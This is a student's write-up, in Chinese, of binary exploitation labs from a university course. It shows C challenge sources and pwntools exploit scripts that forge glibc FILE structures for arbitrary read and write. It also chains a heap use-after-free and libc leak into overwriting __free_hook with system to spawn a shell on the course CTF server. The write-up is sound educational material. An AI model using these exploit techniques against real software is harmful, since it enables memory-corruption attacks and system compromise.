---
tags: CS 2022 Fall, 程式安全
author: Ching367436
---
# [0x09] Pwn III
lecture: https://www.youtube.com/watch?v=_TYWsA8gEW0
slide: [slide (Pwn-w1.pdf)](https://drive.google.com/drive/folders/15jPvm8L618aYkuOkyEm17DzPlFDgCzL8?usp=share_link)
<!-- <style>
img {
box-shadow: 0px 0px 15px #000;
}
</style> -->
### [LAB] FILE_AAR
#### 題目
```c=
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
char flag[0x10] = "FLAG{TEST}\n";
int main()
{
FILE *fp;
char *buf;
buf = malloc(0x10);
fp = fopen("/tmp/meow", "w");
read(0, buf, 0x1000);
fwrite(buf, 0x10, 1, fp);
return 0;
}
```
#### 取得需要的記憶體位置
題目有開 `-no-pie` 所以 `flag` 放的地方不會變
`:15` 有個 `buf` 的 `overflow`
我們要寫道 `fp` 指的位置
所以需要 `fp` 與 `buf` 的相對位置
他們是相鄰 allocated 的
所以
$$
fp=buf+chunksize_{buf}=buf+0x20
$$
用 `gdb` 取得 `flag` 的位置
取得 `fp` `buf` 的相對位置
發現跟計算的結果一致
```python
# since -no-pie
flag_addr = 0x404050
buf_relative_addr = 0x181e2a0
fp_relative_addr = 0x181e2c0
```
#### 準備好 `FILE structure`
https://docs.pwntools.com/en/stable/filepointer.html
`pwntools` 有方便的東西可以用
```python=
fileStr = FileStructure()
fileStr.flags = 0xfbad0800 # _IO_MAGIC | _IO_CURRENTLY_PUTTING
fileStr.fileno = 0x1 # stdout
fileStr._IO_write_base = flag_addr
fileStr._IO_write_ptr = flag_addr + 0x10
fileStr._IO_write_end = 0
### count = _IO_write_end - _IO_write_base < 0
fileStr._IO_read_end = fileStr._IO_write_base
print(fileStr)
payload = flat(
b'A' * (fp_relative_addr - buf_relative_addr),
bytes(fileStr),
)
payload = payload[:-12*8]
assert len(payload) <= 0x1000
```
`:19` 的地方是要把 `fileStr` 的後半部分 (`fileno` 後面) 處理掉
不處理掉的話會 `Segmentation Fault`
看起來是 `pwntools` 的 `FILE` 預設值的問題
所以不要蓋到不需蓋過的地方就沒問題
```python
{ flags: 0xfbad0800
_IO_read_ptr: 0x0
_IO_read_end: 0x404050
_IO_read_base: 0x0
_IO_write_base: 0x404050
_IO_write_ptr: 0x404060
_IO_write_end: 0x0
_IO_buf_base: 0x0
_IO_buf_end: 0x0
_IO_save_base: 0x0
_IO_backup_base: 0x0
_IO_save_end: 0x0
markers: 0x0
chain: 0x0
fileno: 0x1
_flags2: 0x0
_old_offset: 0xffffffffffffffff
_cur_column: 0x0
_vtable_offset: 0x0
_shortbuf: 0x0
unknown1: 0x0
_lock: 0x0
_offset: 0xffffffffffffffff
_codecvt: 0x0
_wide_data: 0x0
unknown2: 0x0
vtable: 0x0}
```
可以來看一下為何要這樣設
先來到 `fwrite` 的地方
##### `_IO_fwrite`
![](https://hackmd.io/_uploads/rylTb1KSn.png)
看到 `:39` 會進去 `_IO_sputn` (`_IO_new_file_xsputn`)
##### `_IO_new_file_xsputn`
![](https://i.imgur.com/3eHoVWD.png)
![](https://i.imgur.com/WkDkbil.png)
到了 `:1244` 會進入 `_IO_OVERFLOW` (`_IO_new_file_overflow`)
##### `_IO_new_file_overflow`
![](https://i.imgur.com/uG0wVAF.png)
`:740` 的地方
我們需要將 `flag` 設上 `_IO_CURRENTLY_PUTTING`
這樣可以阻止 `buffer` 的初始化
接著進入 `:776` 的 `_IO_do_write` (`_IO_new_do_write` `new_do_write`)
##### `new_do_write`
![](https://i.imgur.com/vSeKREK.png)
可以看到我們只要想辦法走到 `:449` 就成功的呼叫到 `_IO_SYSWRITE` 了
這邊需要繞過 `:441` 的檢查
所以把 `fp->_IO_read_end` `fp->_IO_write_base` 射程一樣可以繞過
然後就是 `_IO_SYSWRITE` 了
##### `FILE_AAR/exp.py`
```python
'''output
[+] Opening connection to edu-ctf.zoolab.org on port 10010: Done
[*] Switching to interactive mode
FLAG{QAQ...}
\x00\x00AAAAAAAAAAAAAAA[*] Got EOF while reading in interactive
'''
```
### [LAB] FILE_AAW
#### 題目
```c=
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
char flag[0x10] = "FLAG{TEST}\n";
char owo[] = "OWO!";
int main()
{
FILE *fp;
char *buf;
buf = malloc(0x10);
fp = fopen("/tmp/meow", "r");
read(0, buf, 0x1000);
fread(buf, 0x10, 1, fp);
if (strcmp(owo, "OWO!") != 0)
write(1, flag, sizeof(flag));
return 0;
}
```
題目希望我們把 `owo` 的值寫成其他的值
#### 取得 `owo` 位置及 `buf` `fp` 的相對位置
這題的 `buf` `fp` 的相對位置跟上一題的算法一樣
`:17` 有個 `buf` 的 `overflow`
我們要寫道 `fp` 指的位置
所以需要 `fp` 與 `buf` 的相對位置
他們是相鄰 `allocated` 的
所以
$$
fp=buf+chunksize_{buf}=buf+0x20
$$
取得 `fp` `buf` 的相對位置
發現跟計算的結果一致
跟實際跑起來的結果一致
因為 `-no-pie` 所以 `owo` 的位置是固定的
可以直接用讀出來的結果
![](https://i.imgur.com/umpCDQp.png)
```pyhton
# since -no-pie
owo_addr = 0x404070
buf_relative_addr = 0x1140290
fp_relative_addr = 0x11402c0
```
#### 準備好 `FILE structure`
https://docs.pwntools.com/en/stable/filepointer.html
`pwntools` 有方便的東西可以用
```python=
fileStr = FileStructure()
fileStr.flags = 0xfbad0000 # _IO_MAGIC
fileStr._IO_buf_base = fileStr._IO_write_base = owo_addr
fileStr._IO_buf_end = owo_addr + 0x10
fileStr._IO_read_ptr = fileStr._IO_read_end = 0
fileStr.fileno = 0
payload = flat(
b'Y' * (fp_relative_addr - buf_relative_addr),
bytes(fileStr),
)
payload = payload[:-12*8]
assert len(payload) <= 0x1000
# p = process('test/chal')
p = remote('edu-ctf.zoolab.org', 10009)
# gdb.attach(p)
p.send(payload)
p.interactive()
```
##### `FILE_AAW/exp.py`
```python
'''output
root@0643124b43f1 ~/aaw# python3 exp.py
[+] Opening connection to edu-ctf.zoolab.org on port 10009: Done
[*] Switching to interactive mode
$ hello
$ hello
$ hellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohello
FLAG{sushi}
\x00\x00[*] Got EOF while reading in interactive
$
'''
```
上面那些 `hello` 是要讓 `__underflow` 用到 `EOF` 為止
這樣才會跳出 `fread`
可以來看看為什麼要這樣設
##### `fread` (`_IO_fread`)
![](https://i.imgur.com/RoIU3lG.png)
進入 `:38` `_IO_sgetn`
##### `_IO_file_xsgetn`
<!-- ![](https://i.imgur.com/cpyzOWL.png) -->
![](https://i.imgur.com/0eBwUin.png)
![](https://i.imgur.com/YNFcwRp.png)
![](https://i.imgur.com/niR3aFM.png)
如果 `fp._IO_read_ptr` `fp._IO_read_end` 都設成 `0`
`:1293` 的 `have` 就會是 `0`
這樣可以防止進入 `:1306` 的地方 才不會動到題目的 `buf`
進入 `:1322` `__underflow`
##### `_IO_new_file_underflow`
<!-- ![](https://i.imgur.com/cXt302C.png) -->
![](https://i.imgur.com/26q0413.png)
![](https://i.imgur.com/U9VsHuP.png)
到了 `:517` 就到了我們要的 `_IO_SYSREAD` 了
就可以任意寫
不過回到 `_IO_file_xsgetn` 的時候又回一直回來
所以要寫到 `:517` 的 `count` 為 `0` 為止才會讓此 `EOF` 才會結束 `_IO_file_xsgetn` (`:1322`)
### [HW] miniums
#### 題目
```c=
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
struct User
{
char name[0x10];
int size;
FILE *data;
};
struct User *users[8];
static short int get_idx()
{
short int idx;
printf("index\n> ");
scanf("%hu", &idx);
if (idx >= 8)
printf("no, no ..."), exit(1);
return idx;
}
static short int get_size()
{
short int size;
printf("size\n> ");
scanf("%hu", &size);
if (size >= 0x200)
printf("no, no ..."), exit(1);
return size;
}
void add_user()
{
short int idx;
idx = get_idx();
users[idx] = malloc(sizeof(*users[idx]));
printf("username\n> ");
read(0, users[idx]->name, 0x10);
users[idx]->data = NULL;
printf("success!\n");
}
void edit_data()
{
short int idx;
short int size;
char *buf;
idx = get_idx();
size = get_size();
if (users[idx]->data == NULL)
users[idx]->data = tmpfile();
buf = malloc(size);
read(0, buf, size);
fwrite(buf, size, 1, users[idx]->data);
printf("success!\n");
}
void del_user()
{
short int idx;
idx = get_idx();
if (users[idx]->data != NULL)
fclose(users[idx]->data);
free(users[idx]);
printf("success!\n");
}
void show_users()
{
char buf[0x200] = {};
for (int i = 0; i < 8; i++) {
if (users[i] == NULL || users[i]->data == NULL)
continue;
printf("[%d] %s\ndata: ", i, users[i]->name);
fseek(users[i]->data, 0, SEEK_SET);
fread(buf, sizeof(buf), 1, users[i]->data);
printf("%s\n", buf);
}
}
int main()
{
char opt[2];
int power = 20;
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("**** [Mini] User Management System ****\n");
while (power)
{
power--;
printf("1. add_user\n"
"2. edit_data\n"
"3. del_user\n"
"4. show_users\n"
"5. bye\n"
"> ");
read(0, opt, 2);
switch (opt[0]) {
case '1': add_user(); break;
case '2': edit_data(); break;
case '3': del_user(); break;
case '4': show_users(); break;
case '5': exit(0);
}
}
printf("No... no power..., b..ye...\n");
return 0;
}
```
<!-- https://lantern.cool/note-pwn-first-fit-And-UAF/#%E4%BE%8B%E5%AD%90
https://github.com/shellphish/how2heap/blob/master/first_fit.c -->
#### 觀察 `heap`
當我們進行以下動作之後
```python
add_user(0, 'a'*0x10)
edit_data(0, 0x10, 'r'*0x10)
add_user(1, 'b'*0x10)
```
`heap` 的狀況會變為下圖
![](https://i.imgur.com/WBhCCV8.png)
![](https://i.imgur.com/UiI7pem.png)
如果再執行
```python
del_user(0)
```
![](https://i.imgur.com/DU4N2GM.png)
#### 利用 `UAF` 控制 `FILE` 結構
題目的 `del_user` 有 `UAF` 的漏洞
`:68` 也有可以控制的 `malloc`
就來試著控制 `FILE` 看看吧
首先
```python=
add_user(0, 'A'*0x10)
edit_data(0, 0x10, 'a'*0x10)
add_user(1, 'B'*0x10)
edit_data(1, 0x10, 'b'*0x10)
add_user(2, 'C'*0x10)
del_user(0)
del_user(1)
add_user(3, 'D'*0x09)
edit_data(3, 0x1e0-0x08, 'hello')
```
![](https://i.imgur.com/907TLvw.png)
可以由上圖看到我們第三步驟的 `add_user` 執行時
會動態分配 `struct User`
他會從先從 `tcache` 裡面找有沒有可用的區塊
這時候就會找到我們之前 `delete` 的 `user1` 的位置把 `user3` 放上去 (根據 `tcache` FILO 的特性所以不會是拿 `user0` 的位置)
執行 `edit_user(3)` 時
我們故意把 `buf` 的 `chunksize` 控制成跟 `data` (`FILE`) 一樣大
這樣 `buf` 在找空間的時候會進 `tcache` 看看有沒有這個大小的可用記憶體
就會找到原本 `*users[0]->data` 的地方(圖中紅色框框)
而我們能控制 `buf`
意思就是我們可以控制 `*users[0]->data` 也就是 `FILE` 的結構了
可以由下圖看到我們把 `*users[0]->data` 改成了 `hello`
![](https://i.imgur.com/gmkXNG1.png)
#### 取得 `main_arena` `__free_hook` `system`
這邊我們知道 `del_user` 的時候
`fp` 指向的 `FILE` 指向的那個大小 `0x1011` 的地方會進到 `unsorted bin`(前面圖片有)
意思是會有 `FD` `BK` 在那上面
而當 `unsortedbin` 只有放他一個的時候
`FD` `BK` 就會指向 `main_arena`
所以只要 `leak` 者個東西就好了
這邊採用下圖的方式
這樣來到最後一個 `edit_user` 的時候
`buf` (大小 $0x10$) `tcache` 會找不到可用的地方
接著他就就會來 `unsortedbin` 找有沒有夠大的地方
就會找到前面進到 `unsortedbin` 的 $0x1011$ 大小的地方
個一塊夠大以會切上面的部分給 `buf`
所以會被配置到含有 `FD` `BK` 的地方(下圖黃色框框)
而此時 `buf` 大小開 `0x10` 我們只輸入 `0x09` 個 `p`
這樣 `buf` 剩下的部分就會是一大部分的 `BK` 了
(因為 `BK` 的最後一位可能是 `\x00` ,如果這樣後面的 `printf` 會把後面切掉所以要改掉)
```
buf 的內容:
FD______ BK______
輸入 0x09 個 p 之後
pppppppp pBK_____
```
然後 `edit_user` 的後面會把 `buf` 放進他的檔案裡
顯然的 `BK` 也會一起進去
之後只要 `show_users` `BK` 就會顯示出來了
<!-- 而 `BK` 因為 `unsorted bin` 只有一個東西
所以會指回 `main_arena` -->
有了這個就可以算出 `system` 跟 `__free_hook` 的位置了
![](https://i.imgur.com/uLrpd4U.png)
```python
leak_relative_addr = 0x00007f1e891a4200
freehook_relative_addr = 0x7f1e891a5e48
system_relative_addr = 0x7f1e89009290
leak_addr = (int.from_bytes(get_first_data_2(), 'big'))
system_addr = leak_addr+(system_relative_addr-leak_relative_addr)
freehook_addr = leak_addr+(freehook_relative_addr-leak_relative_addr)
system_addr = p64((system_addr), endian='big')
freehook_addr = p64(freehook_addr, endian='big')
leak_addr = p64(leak_addr, endian='big')
print(f'{system_addr = }')
print(f'{freehook_addr = }')
print(f'{leak_addr = }')
```
可以看到算出來的結果正確
![](https://i.imgur.com/P8X6rhi.png)
<!-- before del_user(0)
![](https://i.imgur.com/z34F7to.png)
![](https://i.imgur.com/og1xCTA.png)
![](https://i.imgur.com/PB9z1a3.png)
![](https://i.imgur.com/rZQv7Xs.png)
![](https://i.imgur.com/Uuc2FGh.png)
![](https://i.imgur.com/bYAYF96.png) -->
#### AAW
這邊想要把 `__free_hook` 寫成 `system`
把 `user2->name` 設置成 `/bin/sh\x00`
這樣在 `del_user` 的時候
就等同於呼叫 `system("/bin/sh\x00")`
所以等下要用的 `FileStructure` 會設計成像下面那樣
上面的 `[LAB] AAW` 我們已經追過 `fread` 的流程
所以知道要設成下面這樣
```python
fileStr = FileStructure()
fileStr.flags = 0xfbad0000 # _IO_MAGIC
fileStr._IO_buf_base = fileStr._IO_write_base = int.from_bytes(freehook_addr, 'big')
fileStr._IO_buf_end = int.from_bytes(freehook_addr, 'big') + 0x200
fileStr._IO_read_ptr = fileStr._IO_read_end = 0
fileStr.fileno = 0
```
#### Exploitation
把上面的手段串在一起
就可以來處理這個了
流程如下
##### A. 取得 `__free_hook` `system`
這邊上方已經說明過了
所以執行到 `:13` 的時候
`user6` 的 `FILE` 就會有 `BK`
`show_user()` 就會把他顯示出來
```python=
print("Trying to get system_addr freehook_addr...")
add_user(7, 'R'*0x09)
edit_data(7, 0x10, 'a'*0x09)
add_user(0, 'A'*0x09)
del_user(7)
leak_relative_addr = 0x00007f1e891a4200
freehook_relative_addr = 0x7f1e891a5e48
system_relative_addr = 0x7f1e89009290
add_user(6, 'S'*0x09)
edit_data(6, 0x10, 'p'*0x09)
leak_addr = (int.from_bytes(get_first_data_2(), 'big'))
system_addr = leak_addr+(system_relative_addr-leak_relative_addr)
freehook_addr = leak_addr+(freehook_relative_addr-leak_relative_addr)
```
##### B. 偽造 `FILE` 結構
這邊上方也說明過了
執行過後 `*users[0]->data` 會變成我們精心設計的 `FILE`
```python=
print("Trying to fake file structure... *users[0]->data")
edit_data(0, 0x10, 'a'*0x09)
add_user(1, 'B'*0x09)
edit_data(1, 0x10, '/bin/sh\x00')
add_user(2, '/bin/sh\x00')
del_user(0)
del_user(1)
fileStr = FileStructure()
fileStr.flags = 0xfbad0000 # _IO_MAGIC
fileStr._IO_buf_base = fileStr._IO_write_base = int.from_bytes(freehook_addr, 'big')
fileStr._IO_buf_end = int.from_bytes(freehook_addr, 'big') + 0x200
fileStr._IO_read_ptr = fileStr._IO_read_end = 0
fileStr.fileno = 0
print(fileStr)
payload = bytes(fileStr)
payload = payload[:-12*8]
add_user(3, '/bin/sh\x00')
edit_data(3, 0x1e0-0x08, payload)
```
##### C. 呼叫 `fread`
到目前為止我們已經控制了 `fread` 的執行流程
現在只差呼叫 `fread` 了
`show_users()` 裡面會呼叫 `fread` 所以來呼叫他
呼叫之後會從 `stdin` 把資料讀進 `__free_hook` (這是我們所控制的執行流程)
這時候就讀進 `system` 的位置
```python=
print("Trying to call fread()...")
show_users()
payload = system_addr
# since buf size is 0x200
# we need to send until __underflow EOF
for i in range(0x200 // 0x8):
r.send(payload[::-1])
```
##### D. 觸發 `system("/bin/sh\x00")`
此時的 `__free_hook` 已經是 `system` 了
`user2` 則會是 `"/bin/sh\x00"` (上面設的)
所以執行 `free(user2)` 的時候等同於執行 `system("/bin/sh\x00")`
```python=
del_user(2)
r.interactive()
```
然後就有 `shell` 了
直接來收 `flag`
##### `miniums/exp.py`
```python
'''output
$ cat /home/chal/flag
FLAG{Toyz_4y2m_QQ_6a61c7e00afda47e65f4aaedc62e4fdc}
'''
```